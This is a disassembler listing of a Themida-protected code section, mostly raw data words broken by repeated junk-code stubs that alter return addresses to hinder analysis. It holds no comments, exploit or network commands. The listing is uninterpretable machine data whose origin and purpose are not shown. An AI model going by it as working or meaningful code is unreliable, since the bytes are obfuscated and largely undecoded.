dd 8938D086h, 840FC00Bh, 50h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0CBC35242h, 0BC8B0F35h, 0E309263Fh
dd 9E8D8D55h, 0F06154Fh, 0C80h, 6820F00h, 89000000h, 152A3D9Dh
dd 5B806h, 9D310000h, 61510A9h, 0B58BE1FFh, 615130Dh, 7118D8Dh
dd 0A7BE0615h, 8B7EEE20h, 7C01C7F9h, 8B44AA72h, 152879BDh
dd 0CB018106h, 531499CFh, 2CA1BD89h, 0E95E0615h, 0Ah, 0B1077759h
dd 0E13C8EB3h, 41C7EB05h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0AB4B84D4h
dd 799797C5h, 8E896h, 689A0000h, 0B86936C4h, 0B5897A2Ah
dd 6151159h, 441815Eh, 31D6D710h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 6AC35242h, 1CFE9CD0h, 0B79B4FBDh
dd 8D006A11h, 15071185h, 8298BF06h, 0E9503F92h, 0Fh, 0F0048D14h
dd 3FF10025h, 5C2CB905h, 894F4913h, 0B58B2404h, 6152AB5h
dd 17F595FFh, 0F98B0615h, 7118D8Dh, 6A0615h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FCFC37C3h
dd 1C7h, 0F510000h, 48Ah, 61BE6600h, 41C75F54h, 4, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 3CDF60D6h, 0D318D640h, 0FC00B53h, 6084h, 9E8D8D00h
dd 0BE06154Fh, 5D8F7A11h, 5B8h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 8817F742h
dd 3D950907h, 2B06152Dh, 152615B5h, 6AE1FF06h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 8FAFC355h, 0E71EC012h, 118D8D89h, 6A061507h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 7C64C351h, 95B58B7Eh, 0C7061511h, 0CA95A501h, 56006A54h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 2570E691h, 0FE980h, 0D9460000h, 0DA6EBA3Ch, 77B5B91Ch
dd 0CF13FA13h, 0CB0181CFh, 291499CFh, 152AC9BDh, 441C706h
dd 0CE5F5969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0D6C35141h, 2C9CD08h, 2B3DBD8Bh, 8B0F0615h, 3
dd 81F0B70Fh, 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 35DE3BC3h, 3B319EA4h
dd 89006A2Ch, 1507ADB5h, 0D3BE6606h, 11858DE6h, 6A061507h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 0FC7EC352h, 3B888B8Bh, 9BE41B5h, 1511D9B5h
dd 8B0F9006h, 0
; ---------------------------------------------------------------------------
push eax
jmp loc_5B88B6
; ---------------------------------------------------------------------------
dw 5037h
dd 689A5350h, 0B86936C4h, 52F57A2Ah
db 0E6h, 33h
; ---------------------------------------------------------------------------
loc_5B88B6: ; CODE XREF: Themida_:005B88A1j
nop
push 0
push esi
call sub_5B88C2
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B88C2 proc near ; CODE XREF: Themida_:005B88BAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5B88C2 endp
; ---------------------------------------------------------------------------
dw 0FBE9h
dd 0BA3BEF2h, 6CCAC8B3h, 17F595FFh, 6A0615h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 65AADCC3h
dd 118D8DDBh, 6A061507h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 5FCCC353h, 0BE66603Ah
dd 8509ABDAh, 61528A5h, 1C761h, 8B000000h, 151E19B5h, 441C706h
dd 0
; ---------------------------------------------------------------------------
mov di, cx
or eax, eax
jz loc_5B898E
or [ebp+6151365h], edi
lea ecx, [ebp+6154F9Eh]
mov [ebp+61519B9h], ebx
mov eax, 5
jmp ecx
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5B8973
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8973 proc near ; CODE XREF: Themida_:005B896Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5B8973 endp
; ---------------------------------------------------------------------------
db 6Dh
dd 3656A724h, 0BF660C9Bh
; ---------------------------------------------------------------------------
pop eax
push es
loc_5B898E: ; CODE XREF: Themida_:005B8949j
add ecx, edx
jmp loc_5B7BEB
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5B89A0
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B89A0 proc near ; CODE XREF: Themida_:005B8998p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5B89A0 endp
; ---------------------------------------------------------------------------
dd 0B08CE0C4h, 89DD55F2h
db 95h, 0D5h, 18h
byte_5B89BB db 15h ; DATA XREF: Themida_:0057AB0Co
; ---------------------------------------------------------------------------
push es
loc_5B89BD: ; CODE XREF: Themida_:005B7BE6j
mov eax, ecx
push 0
push ebp
call sub_5B89CA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B89CA proc near ; CODE XREF: Themida_:005B89C2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5B89CA endp
; ---------------------------------------------------------------------------
dw 1E1Ch
dd 703D816Bh, 0EB4EC1D2h, 0FE9h, 26BE100h, 0DAF1B56Bh
dd 0FCD986D5h, 0D57EE54Ch, 4EBh, 4EBE0000h, 0F5AF3F1h
dd 189h, 858DFC00h, 615279Dh, 1CB59D89h, 81660615h, 90FCE2EEh
dd 5E8h, 4856B100h, 8B57DAE4h, 505F5EF2h, 0DCE78190h, 6A27F4A3h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0F8529A13h, 0F1B70F5Eh, 0CE8006Ah, 31000000h
dd 0E2495C22h, 67172CFAh, 29D1D48Bh, 151605B5h, 858D5E06h
dd 618F140h, 1A29B58Bh, 0C0830615h, 0F6816605h, 0E890D80Eh
dd 9, 356584FEh, 0AC5E479h, 0F525031h, 5A5E5331h, 0BF505F58h
dd 4227AD0Bh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0B0BBB57h, 89496E3Bh, 151A6585h
dd 3DBD3306h, 6A061502h, 0F98B6600h, 8D29006Ah, 6151945h
dd 267995FFh, 81660615h, 8DD111E6h, 189C159Dh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0B58BABB1h, 6151175h, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 135090C3h, 0F82085FDh
dd 0CD850150h, 5F061507h, 153585FFh, 6A0615h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 9B33DAC3h
dd 25CD8C6Bh, 59BD8BDBh, 0E906152Ch, 882h
; ---------------------------------------------------------------------------
loc_5B8B74: ; DATA XREF: Themida_:0057B494o
call $+5
pop ebp
sub ebp, 618F14Ah
mov [ebp+6150D75h], ebx
cmp dword ptr [ebp+61508ADh], 7D0h
jbe loc_5B8CFE
push 0
push edx
call sub_5B8BA1
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8BA1 proc near ; CODE XREF: Themida_:005B8B99p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5B8BA1 endp
; ---------------------------------------------------------------------------
adc eax, 108D9D8Bh
adc eax, 52006A06h
call sub_5B8BC3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8BC3 proc near ; CODE XREF: Themida_:005B8BBBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5B8BC3 endp
; ---------------------------------------------------------------------------
scasb
and al, [ecx+100E3h]
add [edx+0], ch
push ecx
call sub_5B8BE6
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8BE6 proc near ; CODE XREF: Themida_:005B8BDEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5B8BE6 endp
; ---------------------------------------------------------------------------
dw 593Fh
dd 0EB96DDD9h, 0DB0B1E8Fh, 94850Fh, 0BD8B0000h, 6152DF5h
dd 0EFCBBD83h, 0F000618h, 1184h, 99B58B00h, 0E9061505h
dd 0AAh, 21799501h, 85C70615h, 618EFCBh, 1, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 48C35646h, 31DCE0F4h
dd 75E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0BA7BFE5h, 880F18C7h, 1Ah, 0EE8h
dd 265E9800h, 0B47E623Ah, 0CC9F5F17h, 89BE5DC8h, 15019D95h
dd 85C75F06h, 618EFCBh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5B8CAF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8CAF proc near ; CODE XREF: Themida_:005B8CA7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5B8CAF endp
; ---------------------------------------------------------------------------
cwde
dec ebx
jmp dword ptr [ebp-339CFFD9h]
; ---------------------------------------------------------------------------
align 4
jge $+6
lea ebx, [ebp+615108Dh]
push 0
push ecx
call sub_5B8CDF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8CDF proc near ; CODE XREF: Themida_:005B8CD7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5B8CDF endp
; ---------------------------------------------------------------------------
db 6Bh
; ---------------------------------------------------------------------------
sbb di, 632Bh
and dword ptr [ebx], 0FFFFFEFFh
mov si, cx
loc_5B8CFE: ; CODE XREF: Themida_:005B8B90j
mov bx, ds
push 0
push ebx
call sub_5B8D0C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8D0C proc near ; CODE XREF: Themida_:005B8D04p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5B8D0C endp
; ---------------------------------------------------------------------------
dd 40B8EF92h, 75329672h, 0F6F9DAC9h, 840F04C3h, 59h, 999B58Bh
dd 95FF0615h, 61518A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0F8C35747h, 31D1C6C5h, 820F50E4h, 0
; ---------------------------------------------------------------------------
mov [esp], eax
push 0
push ecx
call sub_5B8D72
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8D72 proc near ; CODE XREF: Themida_:005B8D6Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5B8D72 endp
; ---------------------------------------------------------------------------
scasd
sub esi, 30C735BEh
jmp loc_5B91C9
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5B8D99
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8D99 proc near ; CODE XREF: Themida_:005B8D91p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5B8D99 endp
; ---------------------------------------------------------------------------
db 0E0h, 92h, 4Ah
; ---------------------------------------------------------------------------
jmp loc_5B8DBE
; ---------------------------------------------------------------------------
db 5Fh, 76h, 0Ah
dd 0CEB40704h, 3DE3B157h
db 0EAh, 0F3h
; ---------------------------------------------------------------------------
loc_5B8DBE: ; CODE XREF: Themida_:005B8DACj
mov al, 0
push 0
push eax
call sub_5B8DCB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8DCB proc near ; CODE XREF: Themida_:005B8DC3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5B8DCB endp
; ---------------------------------------------------------------------------
db 20h
dd 8F0F8Fh, 0E6000000h, 68F0F70h, 81000000h, 0F7CDEDD7h
dd 0F71E43Ah, 0B60FF2BFh, 52006AD8h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 5ADF4ECDh
dd 10E9h, 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh, 5AB64611h
dd 7BBF6065h, 0E97DA4BFh, 9, 9736FA0Ch, 48DB8A0Eh, 6BA61F3h
dd 0E9000000h, 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h
dd 8960E70Fh, 151CEDB5h, 0FC38B06h, 8Ch, 4E8C100h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h, 565F9860h
dd 8E8BD1Eh, 54000000h, 1699AB9Fh, 0FC15FB9h
db 8Fh
dword_5B8EA1 dd 6 ; Themida_:005D3141r ...
; ---------------------------------------------------------------------------
mov edi, [ebp+6150CFDh]
pop edi
mul dx
mov [ebp+615262Dh], edx
sub ebx, eax
xor edi, [ebp+6150591h]
push eax
pusha
pusha
jmp loc_5B8ED1
; ---------------------------------------------------------------------------
db 0B7h, 1Dh, 0AAh
dd 0B24AC47Ch, 63C294CFh
; ---------------------------------------------------------------------------
xchg eax, esi
loc_5B8ED1: ; CODE XREF: Themida_:005B8EC0j
mov ebx, 49013E9Ah
popa
pusha
mov cx, ax
mov dh, 0D7h
popa
popa
mov [esp], ebx
push 0
push edi
call sub_5B8EED
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8EED proc near ; CODE XREF: Themida_:005B8EE5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5B8EED endp
; ---------------------------------------------------------------------------
db 4Bh, 19h, 84h
dd 42C434FEh, 0A9DF8166h, 0F38B66E1h, 8ADB5FFh, 840F0615h
dd 6, 1719589h, 7E90615h, 50000000h, 7FC1C585h, 95FF7B4Ah
dd 6152E21h, 1A458509h, 0B58B0615h, 6151A21h, 6A00B0h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 6C7037C3h, 0CBDAC72Dh, 6DB50306h, 52061529h, 55D78166h
dd 70E65E08h, 3425BD8Bh, 71E40615h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 91C35242h, 1E59AA28h, 0DE90B9Eh
dd 0B0000000h, 86F9A44Eh, 399396F5h, 9065B101h, 830F613Ch
dd 215h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0FBC35141h, 0E1BDC699h, 0FD8B60Fh, 1381h, 0EE900h
dd 154A0000h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch, 0BAF18B66h
dd 6, 421B58Bh, 0C38B0615h, 19E9BD8Bh, 0E8C10615h, 52006A04h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0A6CA7A51h, 0F106D5Ch, 0FE2F766h, 585h, 0E7CABE00h
dd 0D82B3276h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0BDC35545h, 597F66A4h, 0EC11C499h, 6820FAEh, 8B000000h
dd 15179DBDh, 0D82B5806h, 153880Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DF81F4C3h
dd 1FF9BEE6h, 7B9h, 0DE800h, 0B22B0000h, 0CF4993E6h, 818377A5h
dd 0E9A451E5h, 0Ch, 0B62DB54Fh, 0F0232BF7h, 2AAC7E0Ah
dd 0C1835Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 85C35040h, 12E9h, 7180FC00h, 0C69C38CDh, 0C61BBE1Ah
dd 62EE745Fh, 3B6722EAh, 0CA860FD9h, 0F000000h, 8501F2B7h
dd 615077Dh, 0F6D98C66h, 840F04C1h, 0A9h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 82C35646h, 2AB6D626h
dd 0DE9A9108h, 18A195FFh, 0BD890615h, 615177Dh, 7E85Bh
dd 0AA8C0000h, 0FD2CC835h, 0CE9F8h, 0E9DE0000h, 49300B62h
dd 0FB2F517Eh, 2B5F0B88h, 51006AC3h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 3D9344D5h
dd 834h, 2F860Fh, 7E90000h, 0FB000000h, 290C794Dh, 2AE9240Eh
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 544EC356h, 0FC08B98h, 48Ch, 50BF6600h
db 34h
; ---------------------------------------------------------------------------
loc_5B91C9: ; CODE XREF: Themida_:005B8D89j
mov eax, ebx
mov ebx, eax
push 0
push ebp
call sub_5B91D8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B91D8 proc near ; CODE XREF: Themida_:005B91D0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5B91D8 endp
; ---------------------------------------------------------------------------
dd 2635F074h, 10E87607h, 0C0000000h, 422A5011h, 1EF7535Bh
dd 0C4B9ADECh, 53166131h, 585BD89h, 5E5E0615h, 4E185C7h
dd 0D75D0615h, 14E91AA7h, 12000000h, 89A6B170h, 0C99A5ABDh
dd 889D72D1h, 870515EDh, 8BB1535Dh, 56006AC0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 86B28B85h
dd 0D953138h, 6606152Fh, 819BA2BEh, 1508ADBDh, 7D006h
dd 32850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 4AB4C356h, 8AD85FFh
dd 9E80615h, 0A7000000h, 0C9B3656h, 0EE39D653h, 0ADB5FF5Fh
dd 6A061508h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0A750C355h, 8207B2F2h, 238745BDh
dd 151089B5h, 2195FF06h, 6006152Eh, 2ED9589h, 0BD8B0615h
dd 6151109h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0DF596DC3h, 0FFCD87Fh, 684h, 1DB58B00h
dd 8B061507h, 151841BDh, 0F6BF0F06h, 6AFB8B66h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0BAFAC357h, 54F06D3Ch, 0F56D56Ah, 0C87h, 0F5BD8B00h
dd 0F061500h, 81h, 49958900h, 89061511h, 1515F9BDh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 5A55F176h, 418D0942h, 6A061521h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4CDFC357h
dd 0E9B87E7Eh, 6A760074h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 2B5EC355h, 1AE22958h
dd 0FFABF0Fh, 2086h, 6E800h, 48CD0000h, 8E6B8D85h, 10898589h
dd 0E95F0615h, 9, 68151E3Eh, 0D29C04E9h, 0F77EE955h, 1CE9FFFFh
dd 44000000h, 462429h, 5 dup(0)
dd 0E9000000h, 4F2h, 0B045B511h, 0E78EFE83h, 0A84DBD38h
dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh
dd 65C65D38h, 0A7B720F5h, 9E0BF51Ch, 45F77816h, 96E7864Fh
dd 9D3204C6h, 4FBF3CEDh, 0E5446D6Fh, 0D94C4175h, 10860DB0h
dd 96806A3Bh, 0C8AD1D9Dh, 2E68D85Bh, 5046B635h, 286EDE63h
dd 497E31B8h, 7A647AEAh, 0D94CBC39h, 10860DB0h, 0F5806A3Bh
dd 0A74EBE3Eh, 1570FC78h, 0B39C71A5h, 99096E83h, 0C0EF969Dh
dd 8144A507h, 10860D58h, 0D9A350BAh, 52CECFD7h, 98876E41h
dd 86BAB1Bh, 10863CC4h, 29208F26h, 97A8E7C4h, 704Ch, 0C7246000h
dd 0BFE45F57h, 0BB1086F2h, 346FDDFh, 0EA1086F2h, 0E858DAD9h
dd 21289702h, 97A81A9Ch, 0D24h, 9B191A00h, 3D1C0C2Bh, 6CF2C9B1h
dd 0C524967Eh, 0EC57B839h, 1086F2A5h, 5E587748h, 3E78E845h
dd 55416E41h, 296DDD5Ch, 8EEF4E63h, 86F292B7h, 67485910h
dd 0B2228683h, 5A85EC84h, 0A7179B98h, 73E346C3h, 0A22E8DA2h
dd 0F89DB222h, 0E3624F34h, 0A04A4373h, 979F0F73h, 70FC7CB5h
dd 0DE8CA313h, 5A5CCC2Dh, 0C7F69Fh, 0D7831282h, 749C35FEh
dd 0CB93193Ah, 86D4D1F8h, 0DF8B9C10h, 0D570D132h, 1086D48Ch
dd 4DF363E2h, 7963537Ch, 0A924045Ch, 7416EA8Fh, 47AA36B7h
dd 3CBEF8D7h, 0B8E1647Ah, 0B61086E0h, 555EC232h, 78DF793Ch
dd 9A705F54h, 4499B01Fh, 0AC97A87Dh, 5Fh, 3AC62480h, 724B4BBBh
dd 0E85B815Dh, 1086F2A1h, 0A58F7B4Ch, 0D5C1318Ch, 0DCEBD259h
dd 1807EE5Eh, 22EC2A9Ah, 6EBCCF35h, 0A8421E7Bh, 659D056Bh
dd 1787E489h, 0E06F4540h, 0C671C7CFh, 56D6DB17h, 2BDFB0E6h
dd 0A8762D80h, 3B9397h, 24A70000h, 536056C6h, 309581F1h
dd 11715689h, 2468D4A1h, 7B6155C5h, 0E3A5CA5Ah, 8A602241h
dd 865DF31Bh, 312BEF10h, 865D4F92h, 6D1D2E10h, 4BAE9B42h
dd 0D197A8C9h, 1, 59C924E5h, 7FE7445Dh, 0CD2C9051h, 11F7A5Dh
dd 0F362B186h, 477ABCC9h, 0DB5D5668h, 61522B6Bh, 494670E0h
dd 299073A1h, 74F73CB6h, 48A56604h, 0C96D3DD8h, 8B8BFB7Dh
dd 7A00A5B2h, 0FB0564A3h, 4AA90AD4h, 972E30DAh, 169B768Fh
dd 6879BD8Eh, 25FA9B0Bh, 568856C6h, 9366AAEFh, 0AA405116h
dd 66C2096Ch, 9B01693h, 2292F1D6h, 0EF5FDC53h, 0D839BAA7h
dd 9366246Dh, 0D9F6C716h, 4C731ADDh, 0ED88F87Bh, 0BDAE35B8h
dd 109BB9Dh, 0ABCF0000h, 0D903DB0Bh, 0A6ED5DD8h, 0EDE2D444h
dd 0F6529EFDh, 0DAEB169Bh, 40C1F2DCh, 7AF93AD0h, 37B46B0Ah
dd 0A40DCFC7h, 0CB3BB945h, 2DDDF2CBh, 70F7FFCh, 0EE28981Ah
dd 0E0878F5h, 0FE229215h, 0CEBB2897h, 6CCFF8E7h, 218C19FCh
dd 0A79DBD1Eh, 4Ch, 0C0308CA5h, 0EABF22Ah, 3C4500DEh, 0BF9086F2h
dd 0A81409F6h, 456A03DBh, 0CEAFF251h, 0CCE9086h, 0E0D646A7h
dd 0B9FD6DD3h, 98FFEBC4h, 28582925h, 1D164816h, 577A2B9Bh
dd 169086CEh, 33366505h, 0BA1086CEh, 6CA80CE9h, 84000000h
dd 3DB0BABh, 9C067040h, 0FA3C0D16h, 7B1A8AE9h, 0DFD747A4h
dd 93E73A64h, 6857C216h, 59C9298Ah, 930380B1h, 0D404B402h
dd 0FEDE3B0Ah, 8C9D108Ah, 0AA1A998Ah, 97C5896Ch, 0A8FCE52Ch
dd 189B881Ch, 0ACE387A8h, 5DA94D01h, 84F451DDh, 0A192BD92h
dd 9768AE1Eh, 2C8DA6B8h, 0E5857ABCh, 0E565F44Fh, 7DB61AB1h
dd 0BCDC8EFEh, 0AB1E0AEBh, 0CE3EBF0Bh, 1FE0F7C8h, 0B2E79ED0h
dd 0B68D517Eh, 169FE05Bh, 0C251122h, 0C9563FAFh, 39BCFA6Ah
dd 56DACD68h, 76517CE3h, 43F085F5h, 4D6650C0h, 68D85FEBh
dd 607E512Eh, 2982C77Eh, 586956D3h, 0E6F84B2h, 26AF989Eh
dd 0ADA68501h, 0C535B6FDh, 0EF5FE0D1h, 43EAD6A7h, 0B75E479Ch
dd 0D43CBF08h, 0D28B906Ah, 0B75E7161h, 9B9B0B68h, 317h
dd 4B2FF300h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
dd 4EC8178h, 89000000h, 0E2892414h, 4C281h, 0EA830000h
dd 24148704h, 0E289525Ch, 4C281h, 0EA830000h, 24148704h
dd 2404895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B8243489h
dd 13B72FB3h, 0E0C1D8F7h, 53BE5606h, 290C1B19h, 53685EF0h
dd 89000042h, 4832424h, 505E0424h, 72243481h, 8F70713Eh
dd 0B9510846h, 8, 3181F101h, 70713E72h, 24348B59h, 81E78957h
dd 4C7h, 4C78100h, 87000000h, 8B5C243Ch, 89532404h, 4C381E3h
dd 83000000h, 1C8704C3h, 7BE95C24h, 0CFFFC7Fh, 1D4B467Ch
dd 32B84C56h, 30618FEh, 45E0FFC5h, 0E74D6AF5h, 363F760Fh
dd 0FA772AB8h, 584969E1h, 0BE6828BFh, 49081EFFh, 4C20DCFAh
dd 80272D38h, 21446C1Dh, 0EE37CC98h, 4574FF12h, 4A087D06h
dd 0A93EA0A2h, 3D78CD7Eh, 0E833C5A9h, 10212F38h, 702409E1h
dd 0AF14C519h, 91329926h, 0D7155D77h, 0A808B99Bh, 0F20C8CF6h
dd 7D3B9AC3h, 0DC33B9B2h, 0BC5EE04Ch, 1E5650F1h, 8B3E5CF3h
dd 8B173958h, 3860FC1h, 0F000000h, 4EBF8BFh, 0
; ---------------------------------------------------------------------------
movsx esi, dx
call sub_5B99A7
mov bh, 1Eh
sub al, 7Bh
and edi, edx
clc
; =============== S U B R O U T I N E =======================================
sub_5B99A7 proc near ; CODE XREF: Themida_:005B999Bp
mov si, 0AEEBh
pop edi
lea eax, [ebp+615279Dh]
clc
nop
push eax
jnz loc_5B99BF
push ecx
pusha
popa
pop esi
loc_5B99BF: ; CODE XREF: sub_5B99A7+Ej
nop
mov edi, eax
push 0
mov edi, esi
push 0
mov edi, [ebp+61508F9h]
lea eax, [ebp+619008Fh]
mov esi, 20C033DCh
add eax, 5
push 0
push eax
call sub_5B99E7
and [eax-3Dh], bl
sub_5B99A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B99E7 proc near ; CODE XREF: sub_5B99A7+38p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5B99E7 endp
; ---------------------------------------------------------------------------
mov dh, 0BFh
mov ss, word ptr [eax+1]
push 66h
adc edi, 66508A49h
mov edi, ecx
mov [esp], eax
push 0
push 0
push esi
call sub_5B9A16
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9A16 proc near ; CODE XREF: Themida_:005B9A0Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5B9A16 endp
; ---------------------------------------------------------------------------
dw 7CAh
; ---------------------------------------------------------------------------
mov di, 0F9EDh
push 0
push 0
push ebx
call sub_5B9A39
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9A39 proc near ; CODE XREF: Themida_:005B9A31p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5B9A39 endp
; ---------------------------------------------------------------------------
db 0Fh, 53h, 2Bh
dd 0FFC145FFh, 8B79111Bh, 6830FF2h, 8B000000h, 150D69BDh
dd 7995FF06h, 66061526h, 8D87DBBFh, 189C159Dh, 0ADB58906h
dd 0FF061518h, 55006AD3h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0EFE27CC8h, 10E9h, 6937DA00h
dd 5B6489EFh, 3EB516EDh, 0D68D7E4Dh, 959589C3h, 0FF061530h
dd 15153585h, 0E6816606h, 71E92AD0h, 0E8000009h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6190099h
push 0
push edx
call sub_5B9ADA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9ADA proc near ; CODE XREF: Themida_:005B9AD2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
